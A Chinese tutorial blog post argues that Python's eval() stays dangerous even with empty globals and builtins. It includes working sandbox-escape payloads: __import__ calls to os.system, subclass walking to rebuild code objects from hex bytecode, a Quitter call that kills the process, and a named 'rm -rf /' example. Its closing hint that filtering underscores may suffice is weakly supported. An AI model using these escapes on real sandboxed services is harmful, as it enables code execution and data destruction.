看完此文,你还会用 eval 吗?

共 7039字,需浏览 15分钟

 ·

2020-11-06 05:58

Python 有一个内置的 eval() 函数,可以直接执行 Python 代码,比如:
assert eval("2 + 3 * len('hello')") == 17
这个函数功能非常强大,但也非常危险,请不要把该函数提供给不信任的调用方。假设传入的字符串是 os.system('rf -rf /'),那么 eval 函数就会删除你电脑上的所有文件,下文举例子时我用 'ls' 来代替 'rm -rf /',免得你直接复制代码运行时导致灾难发生。
一些人看了 eval 的官方文档说明,可能会说,只要传给 global 参数一个空的字典,eval 就无法使用全局变量,这样不就安全了吗?比如下面的代码 eval("os.system('ls')", {}) 就会报错:
>>> import os
>>> eval("os.system('ls')", {})
Traceback (most recent call last):
  File "", line 1in 
  File "", line 1in 
NameError: name 'os' is not defined
>>> 
其实这样仍然非常不安全,我们仍然可以借助内置的函数 __import__() 来导入标准库,比如 eval("__import__('os').system('ls')", {})
>>> eval("__import__('os').system('ls')", {})
Desktop                burp.der
Documents            ctf
Downloads            flag5.txt
Library                gitee
Movies                github
Music                kali
Parallels            key.txt
Pictures            log
...
有人可能会说来,那我把内置的函数也给屏蔽掉,这样总安全了吧:
>>> eval("__import__('os').system('ls')", {'__builtins__':{}})
Traceback (most recent call last):
  File "", line 1in 
  File "", line 1in 
NameError: name '__import__' is not defined
那现在真的安全了吗?一些人可能会认为这下安全了。
其实仍然不安全。
原因是我们依然可以使用 Python 内部的一些类,还可以自己构造字节码,请慢慢向下看。
首先要知道,eval 除了接受 Python 字符串,还可以 Python 字节对象(code object)。Python 的运行过程就是首先通过 compile 构建一个字节对象,得到代码的字节码,之后根据不同的字节码进行不同的操作,假如我们可以构造 Python 的字节码对象,那几乎可以使用 eval 来执行任何我们想要的结果。
用代码来解释下:
比如我们要执行:
import os
os.system('ls')
Python 解释器会先编译成 code 对象,然后执行的:
>>> code_str = '''
... import os
... os.system('ls')
... '''

>>> code_obj = compile(code_str,'','exec')
>>> code_obj
 at 0x7fc5741175b0, file "", line 2>
>>> eval(code_obj)
Desktop                burp.der
Documents            ctf
Downloads            flag5.txt
Library                gitee
Movies                github
Music                kali
Parallels            key.txt
Pictures            log
code_obj 就是 Python 内置的 code 类对象,eval 可以直接执行,
>>> help(code_obj)

class code(object)
 |  code(argcount, posonlyargcount, kwonlyargcount, nlocals, stacksize,
 |        flags, codestring, constants, names, varnames, filename, name,
 |        firstlineno, lnotab[, freevars[, cellvars]])
 |
 |  Create a code object.  Not for the faint of heart.
 |
 |  Methods defined here:
 |
 |  __eq__(self, value, /)
 |      Return self==value.
 |
 |  __ge__(self, value, /)
 |      Return self>=value.
 |
 |  __getattribute__(self, name, /)
 |      Return getattr(self, name).
 |
 |  __gt__(self, value, /)
 |      Return self>value.
 |
 |  __hash__(self, /)
现在我们需要构造 code 对象,要构造 code 对象,就要使用内部的 code 类,如何获取 code 类呢?我们要获取 Python 内置的 object 对象,可以这样做:
>>> [].__class__.__bases__[0]
<class 'object'>
这里 [] 表示一个 list 对象,那么它的基类就是内置的 object 类。找到类 object 类,我们就可以找到 object 类的所有子类:
>>> [].__class__.__bases__[0].__subclasses__()
[<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>, <class 'weakproxy'>, <class 'int'>, <class 'bytearray'>, <class 'bytes'>, <class 'list'>, <class 'NoneType'>, <class 'NotImplementedType'>, <class 'traceback'>, <class 'super'>, <class 'range'>, <class 'dict'>, <class 'dict_keys'>, <class 'dict_values'>, <class 'dict_items'>, <class 'dict_reversekeyiterator'>, <class 'dict_reversevalueiterator'>, <class 'dict_reverseitemiterator'>, <class 'odict_iterator'>, <class 'set'>, <class 'str'>, <class 'slice'>, <class 'staticmethod'>, <class 'complex'>, <class 'float'>, <class 'frozenset'>, <class 'property'>, <class 'managedbuffer'>, <class 'memoryview'>, <class 'tuple'>, <class 'enumerate'>, 
......
这里就获取到了 Python 内置的所有类,共有 181 个,我们用变量 all_classes 来保存这些类:
>>> all_classes = [].__class__.__bases__[0].__subclasses__()
>>> len(all_classes)
181
>>> [c for c in all_classes if c.__name__ == 'code'][0]
<class 'code'>
>>>
好了,我们找到了 code 类,现在,我们的目的是为了执行 __import__('os').system('ls') 我们先看下 Python 把这段代码编译成的 code 类是什么样:
>>> code_str = "__import__('os').system('ls')"
>>> code_obj = compile(code_str,'','single')
>>> code_obj
 at 0x7fd06074abe0, file "", line 1>
>>> code="codeObj({},{},{},{},{},{},bytes.fromhex('{}'),{},{},{},\'{}\',\'{}\',{},bytes.fromhex(\'{}\'),{},{})\n".format(
...      code_obj.co_argcount,\
...      code_obj.co_posonlyargcount,\
...      code_obj.co_kwonlyargcount,\
...      code_obj.co_nlocals,\
...      code_obj.co_stacksize,\
...      code_obj.co_flags,\
...      code_obj.co_code.hex(),\
...      code_obj.co_consts,\
...      code_obj.co_names, \
...      code_obj.co_varnames,\
...      code_obj.co_filename,\
...      code_obj.co_name,\
...      code_obj.co_firstlineno,\
...      code_obj.co_lnotab.hex(),\
...      code_obj.co_freevars,\
...      code_obj.co_cellvars)
>>> print(code)
codeObj(0,0,0,0,3,64,bytes.fromhex('650064008301a0016401a101460064025300'),('os''ls'None),('import''system'),(),'','',1,bytes.fromhex(''),(),())
code、bytes 都可以从上述 all_classes 获取,这样我们分部执行,就可以执行我们的代码:
>>> all_classes = [].__class__.__bases__[0].__subclasses__()
>>> code = [c for c in all_classes if c.__name__ == 'code' ][0]
>>> bytes = [c for c in all_classes if c.__name__ == 'bytes' ][0]
>>> code_obj =code(0,0,0,0,3,64,bytes.fromhex('650064008301a0016401a101460064025300'),('os''ls'None),('__import__''system'),(),'','',1,bytes.fromhex(''),(),())
>>> eval(code_obj)
Desktop                Movies              Public              burp.der            github              py38env
Documents            Music               Virtual Machines.localized  ctf             kali                test.py
Downloads            Parallels           aaa.txt             flag5.txt           key.txt             tmp
Library                Pictures            bin             gitee               log             zzzz.txt
可以看到 eval(code_obj) 已经成功执行, 转换成一个字符串就是:
>>> s = """eval( [ c for c in ().__class__.__bases__[0].__subclasses__() if c.__name__ == 'code' ][0](0,0,0,0,3,64, [ c for c in ().__class__.__bases__[0].__subclasses__() if c.__name__ == 'bytes' ][0].fromhex('650064008301a0016401a101460064025300'),('os', 'ls', None),('__import__', 'system'),(),'','',1, [ c for c in ().__class__.__bases__[0].__subclasses__() if c.__name__ == 'bytes' ][0].fromhex(''),(),()))"""
>>> eval(s)
Desktop                Movies              Public              burp.der            github              py38env
Documents            Music               Virtual Machines.localized  ctf             kali                test.py
Downloads            Parallels           aaa.txt             flag5.txt           key.txt             tmp
Library                Pictures            bin             gitee               log             zzzz.txt
0
>>> eval(s,{'__builtins__':{}})
Traceback (most recent call last):
  File "", line 1in 
  File "", line 1in 
NameError: name '__import__' is not defined
注意,eval 里面还可以使用 eval, 伤心的是,加上参数 {'__builtins__':{}} 后仍然会报错,说明 __import__ 在 code 对象层面依然是无法绕过的,不过上述方法给了我们一些新的思路,那就是可以自行构造字节对象。这并不是说 eval 就真的安全了,比如,下面的字符串如果传给 eval 参数,整个 Python 进程将会退出。
(py38env) ➜  ~ python
Python 3.8.5 (v3.8.5:580fbb018f, Jul 20 202012:11:27)
[Clang 6.0 (clang-600.0.57)] on darwin
Type "help""copyright""credits" or "license" for more information.
>>> eval('quit()',{'__builtins__':{}})
Traceback (most recent call last):
  File "", line 1in 
  File "", line 1in 
NameError: name 'quit' is not defined
>>> s = """ [ c for c in ().__class__.__bases__[0].__subclasses__() if c.__name__ == "Quitter" ][0](0,'quit')() """
>>> eval(s, {'__builtins__':{}})
(py38env) ➜  ~
上述方法就是绕过了 __builtins__ 的限制,仍然使用了 Quitter 类来退出整个 Python 进程。
eval 中的受限模式  eval(string, {'__builtins__':{}}) 是明确尝试将某些“危险”属性访问列入黑名单。如我们所见,现有的受限模式还不足以防止恶作剧。
那么,可以使 eval 安全吗?很难说。在这一点上,很多人的猜测是:如果您不能使用任何双下划线,不就安全了。
我只能说,传给 eval 的字符串是排除任何带有双下划线的字符串,那么也许是安全的。因为某些操作依然可以构造出双下划线,如下所示:
>>> eval('eval("()._" + "_class_" + "_._" + "_bases_" + "_[0]")')
<class 'object'>
>>>
因此,受限模式下,传给 eval 的字符串是排除任何带有下划线的字符串,那么也许是安全的。
如果本文对你有所帮助,欢迎点赞、转发、关注,感谢支持。

关于 Python 字节码的深度文章,还可以看看这两篇文章,阅读原文可以点击访问下述链接:
  • Exploring Python Code Objects

  • Python沙箱?不存在的


浏览 30
点赞
评论
收藏
分享

手机扫一扫分享

分享
举报
评论
图片
表情
推荐
点赞
评论
收藏
分享

手机扫一扫分享

分享
举报